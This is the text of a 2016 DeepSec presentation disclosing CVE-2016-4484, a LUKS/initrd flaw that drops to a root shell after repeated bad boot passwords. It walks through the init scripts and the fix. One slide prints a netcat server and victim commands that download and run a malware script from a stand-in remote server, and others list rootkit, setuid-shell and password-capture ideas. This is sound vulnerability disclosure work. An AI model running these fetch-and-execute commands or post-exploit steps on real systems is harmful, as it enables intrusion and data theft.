Abusing luks to hack the system

DeepSec 10-11 Nov 2016 – Vienna, Austria

Ismael Ripoll-Ripoll
iripoll@upv.es
Universitat Politècnica de València

Hector Marco-Gisbert
hmarco@hmarco.org
hector.marco@uws.ac.uk
University of the West of Scotland

https://cybersecurity.upv.es
1) About complexity and security.
2) A real bug, caused by excessive complexity
   1) Overview of the exploitation scenario.
   2) Analysis of the vulnerability.
   3) A real demo of exploitation.
3) Conclusions

- The vulnerability analyzed is **CVE-2016-4484**.
- The issue has been reported to the developers.
Adding new security mechanisms
=> increases the complexity
=> larger bug surface (code++, interactions++)
=> potentially weaker system.

“Complexity is the Enemy of Security”
About complexity

- There are many sources of “Complexity”:
  - APIs can be large, baroque and cumbersome.
  - Communication protocols can be complex.
  - The hardware may be complex
    - And so the drivers.
- Fighting complexity:
  1) Simplify → reduce(remove) functionality.
  2) Split, Isolate and then **Combine**.

Mars Climate Orbiter, Nov. 10, 1999

An excerpt from Wired: A NASA review board found that the problem was in the software controlling the orbiter’s thrusters. The software calculated the force the thrusters needed to exert in pounds of force. A separate piece of software took in the data assuming it was in the metric unit: newtons.
**Factors which may influence complexity:**

- size of the software
- number of components
- number of relationships between them
- complexity of the algorithms
- number of internal and external interfaces
- tools available to visualise software
- cognitive capacity of the observer
- ...

**ESA Guide for Independent Software Verification & Validation: Error potential questionnaire**

1) Is the **number of people** in the software development team more than 20?

2) Is the **development team split** across several geographical working locations (more than 5 minutes walking distance)?

3) Is the **maturity** of the **software development** team’s process low (...)?

4) Is the software development team **lacking in experience with the software technology, the domain, or the application**?

5) Is the software supplier **lacking in experience of the required criticality level**?

6) Does development of the software **require innovative designs**?

7) Are **software requirements** still **unstable**?

8) Is the **complexity** of the software **high**?
Some bugs that can be attributed to complexity are also complex to exploit:

- OpenSSL FREAK requires MITM capabilities.
- It took more than one year from RowHammer to Flip Fen Shui or DRAMMER.

Not all of them are hard to exploit

This presentation shows an example of a bug that is simple to exploit, caused by the unexpected interaction between modules in a complex system.
• **LUKS** is a disk encryption software.

• It is the one used by Debian/Ubuntu by default.

• The booting sequence is a complex process:
  1) BIOS/UEFI.
  2) GRUB.
  3) Initrd: **Luks setup**.
  4) Systemd/upstart.
Boot sequence: default install

- Initial setup
- ROM
- BIOS/UEFI
- GRUB
- Kernel
- initrd
- Boot partition
- Mandatory
- Encrypted system partition
- Init
- Servers
- Login
- Applications
Securing the boot

- Both, BIOS/UEFI and GRUB are too powerful.
- By default, they are not protected
  - It is possible to change the boot device in the BIOS. Just hitting the <F2> key to enter config menu.
  - By pressing <ESC> you get the GRUB menu, and so edit the kernel parameters → get a root shell easily.
- It is necessary to block these attack vectors:
  - BIOS password.
  - GRUB password.
Boot protection

- BIOS/UEFI
- GRUB
- Kernel
- initrd

Initial setup

ROM

Boot partition

Mandatory

Encrypte system partition

Init

Servers

Login

Applications
Initrd: preparations to mount the real root filesystem

- Discover existing hardware.
- Some devices (sata, USB, etc.) may need some time to warm-up.
- The init scripts allows hardware to fail a few times until it becomes ready.
  - There may be transient errors or dependencies between hardware devices.
- There is a wide variety of booting devices.
- ....
Mounting the encrypted partition

- If the **system partition is encrypted** then the init process must ask to the user the password in order to unlock and mount.

Can an attacker abuse this interface?
Let’s analyze `/init` and related scripts

- GRUB loads: `vmlinuz` & `initrd.img`

...
#!/bin/sh

# Default PATH differs between shells, and is not automatically exported
# by klibc dash. Make it consistent.
export PATH=/sbin:/usr/sbin:/bin:/usr/bin

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /root ] || mkdir -m 0700 /root
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
mkdir -p /var/lock
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,noexec,nosuid proc /proc

...

. /scripts/local
. /scripts/nfs
. /scripts/${BOOT}
parse_numeric ${ROOT}
maybe_break mountroot
mount_top
mount_premount
mountroot
...
Multiple attempts to mount filesystems

```bash
mountroot() {
    local_mount_root
}

local_mount_root() {
    local_top
    ...
    ...
    local_device_setup "${ROOT}" root
    ...
    ...
}
```

/scripts/local
• Multiple trials to mount filesystems

mountroot() {
    local_mount_root
}

local_mount_root() {
    local_top
    local_device_setup "${ROOT}" root
    ...
    ...
}

local_top() {
    if [ "${local_top_used}" ! = "yes" ]; then
        [ "$quiet" ! = "y" ] && log_begin_msg "Run...
        run_scripts /scripts/local-top
        [ "$quiet" ! = "y" ] && log_end_msg
        fi
    local_top_used=yes
}

1
local_mount_root()

- Multiple trials to mount filesystems

```bash
mountroot() {
    local_mount_root
}

local_mount_root() {
    local_device_setup "${ROOT}" root
    ...
    ...
}

local_top()
{
    if [ "${local_top_used}" != "yes" ]; then
        [ "$quiet" != "y" ] && log_begin_msg "Run...
        run_scripts /scripts/local-top/cryptroot
        [ "$quiet" != "y" ] && log_end_msg
    fi
    local_top_used=yes
}
```
The /scripts/local-top/cryptroot

```bash
setup_mapping() {
  ...
  crypttries=3
  ...
  while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do
    ....
    if ! crypttarget="$crypttarget" cryptsource="$cryptsource"
      $cryptkeyscript "$cryptkey" | $cryptopen;
    then
      message "cryptsetup: cryptsetup failed, bad password or options?"
      continue
    fi
    ....
  done
  if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then
    message "cryptsetup: maximum number of tries exceeded for $crypttarget"
    return 1
  fi
  udev_settle
  return 0
}
```

For each encrypted device:
Try to unlock it

```
# Do we have any settings from the /conf/conf.d/cryptroot file?
if [ -r /conf/conf.d/cryptroot ]; then
  while read mapping <&3; do
    setup_mapping "$mapping" 3<&-
  done 3< /conf/conf.d/cryptroot
fi
```
The `/scripts/local-top/cryptroot`

setup_mapping() {
    ...
    crypttries=3
    ...
    while [[ $crypttries -le 0 ] || [ $count -lt $crypttries ]]; do
        ...
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" "$cryptkeyscript" "$cryptkey" | $cryptopen; then
            message "cryptsetup: cryptsetup failed, bad password or options?"
            continue
        fi
        ...
    done
    ...
    if [[ $crypttries -gt 0 ] && [ $count -gt $crypttries ]]; then
        message "cryptsetup: maximum number of tries exceeded for $crypttarget"
        return 1
    fi
    udev_settle
    return 0
}
...
# Do we have any settings from the /conf/conf.d/cryptroot file?
if [-r /conf/conf.d/cryptroot ]; then
    while read mapping <&3; do
        setup_mapping "$mapping" 3<&-
    done 3< /conf/conf.d/cryptroot
    fi

Never enters → always returns 0

For each encrypted device:
Try to unlock it

/scripts/local-top/cryptroot
The /scripts/local-top/cryptroot output

Ubuntu 16.10

Please unlock disk sda5_crypt:
The /scripts/local-top/cryptroot output

Ubuntu 16.10
...

Please unlock disk sda5_crypt: _

Ubuntu 16.10
...

cryptsetup: cryptsetup failed, bad password or options?
Please unlock disk sda5_crypt: _
Back to `local_mount_root()`

- `local_top()` fails 3 times and return 0 (ok) Even returning 1 (fail) it wouldn’t be checked!
- And boot sequence continues.
- What happens in `local_device_setup()`?

```bash
mountroot() {
    local_mount_root
}

local_mount_root() {

    local_top

    local_device_setup "${ROOT}" root
    ...

}
```

/Scripts/local
local_device_setup() {
    slumber=30
    ...

    while true; do
        sleep 1
        local_block "${dev_id}"
        if mounted; then break; fi
        slumber=$(( ${slumber} - 1 ))
        if [ ${slumber} -eq 0 ]; then
            log_end_msg 1 || true
            break
        fi
    done
    ...

    # We've given up, but we'll let the user fix matters if they can
    while ! real_dev=$(resolve_device "${dev_id}") ||
        ! get_fstype "${real_dev}" >/dev/null; do
        echo "Gave up waiting for ${name} device. Common problems:"
        echo "  - Boot args (cat /proc/cmdline)"
        echo "    - Check rootdelay= (did the system wait long enough?)"
        if [ "${name}" = root ]; then
            echo "    - Check root= (did the system wait for the right device?)"
        fi
        echo "    - Missing modules (cat /proc/modules; ls /dev)"
        panic "ALERT!  ${dev_id} does not exist. Dropping to a shell!"
    done
    ...
}
local_block()
{
    [ "$quiet" != "y" ] && log_begin_msg "Running /scripts/local-block"
    run_scripts /scripts/local-block "$@
    [ "$quiet" != "y" ] && log_end_msg
}

Asks the password of the root partition 3 times and finishes normally
local_device_setup() {
  slumber=30
  ...
  while true; do
    sleep 1
    local_block "${dev_id}"
    if mounted; then break; fi
    slumber=$(( ${slumber} - 1 ))
    if [ ${slumber} -eq 0 ]; then
      log_end_msg 1 || true
      break
    fi
  done
  ...
  # We've given up, but we'll let the user fix matters if they can
  while ! real_dev=$(resolve_device "${dev_id}") ||
    ! get_fstype "${real_dev}" >/dev/null; do
    echo "Gave up waiting for ${name} device. Common problems:"
    echo "  - Boot args (cat /proc/cmdline)"
    echo "    - Check rootdelay= (did the system wait long enough?)"
    if [ "${name}" = root ]; then
      echo "    - Check root= (did the system wait for the right device?)"
    fi
    echo "    - Missing modules (cat /proc/modules; ls /dev)"
  done
  panic "ALERT! ${dev_id} does not exist. Dropping to a shell!"
  ...
}

- Sleep 1 sec
- Asks the passwd 3 times
- Loop 30 times

Which takes a little more than 1 minute, and then keep going.
Problem overview

- When the number of tries is reached, luks script does not stop the system or prevents from further password attempts.
- Then the top level code (non-crypto code) handles the “error” as if it were a hardware transient one and gives 30 more attempts.
  - 30 more attempts looks like an infinite loop unless the code is reviewed.
- After 30 trials it drops a shell (busybox)
  - So that the user can fix the problem.
Live demo
And now. What can be done?

- The root directory of initramfs is in RAM
  - It is useless to change it.
  - But the boot partition (where vmlinuz and initrd.img live) is a non-encrypted partition.
    - Change the initrd.img and capture the password.
    - Change vmlinux (or add a module): kernel rootkit.
    - Install a hidden setuid shell in /boot.
- Other partitions may be not encrypted.
- Access to the target LAN and jump to other systems.
- ......
Automate the infection process

Download a malware from a remote server

**[Remote server]**
(\texttt{echo -e "HTTP/1.1 200 OK\nContent-type: text/html\n"; \ cat malware.sh}) | \texttt{nc -l 80}

**[Vulnerable victim]**
(\texttt{dhclient eth0})
(\texttt{wget \(\text{http://REMOTE\_SERVER\_IP/}\))}
(\texttt{mv index.html deploy\_malware.sh})
(\texttt{sh ./deploy\_malware.sh})

- Same vectors than in Grub 28 Vulnerability
  - \texttt{http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html}
Does Secure Boot help?

- Secure Boot prevents from infecting vmlinuz and initrd.img.

- We cannot modify the operation system without being detected, but:
  - We can send over the network the whole hard disc.
  - The whole hard disc can be destroyed (DoS).
  - Privilege escalation is still possible.
    - `/boot/.sh (setuid)
  - Jump to other systems, etc.
Impact

• It is hard to figure out all the scenarios where this bug can be exploited.

• Local attacks:
  – Insiders: privilege escalation.
  – Systems accessible to the end user: libraries, e-ticket checking, ATM?, ...

• Remote attacks:
  – Cloud computing may be prone to this attack.
    • Remote management technology.

• IoT can create more scenarios in the future.
The FIX

- After 3 attempts **halt**.
Conclusions

● This vulnerability is a nice example of:
  – CWE-637: “Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')”, or/and
  – CWE-636 “Not failing securely (‘Failing open’)”

● Lessons learned:
  – Failsafe must be reconsidered:
    • Halt is better than reboot the system.
  – Linux systems tend to be “developer friendly”, but it is no longer true.
    • Systems shall not have recovery trapdoors.
Thanks for your attention

Ismael Ripoll-Ripoll
iripoll@upv.es
Universitat Politècnica de València

Hector Marco-Gisbert
hmarco@hmarco.org
hector.marco@uws.ac.uk
University of the West of Scotland

https://cybersecurity.upv.es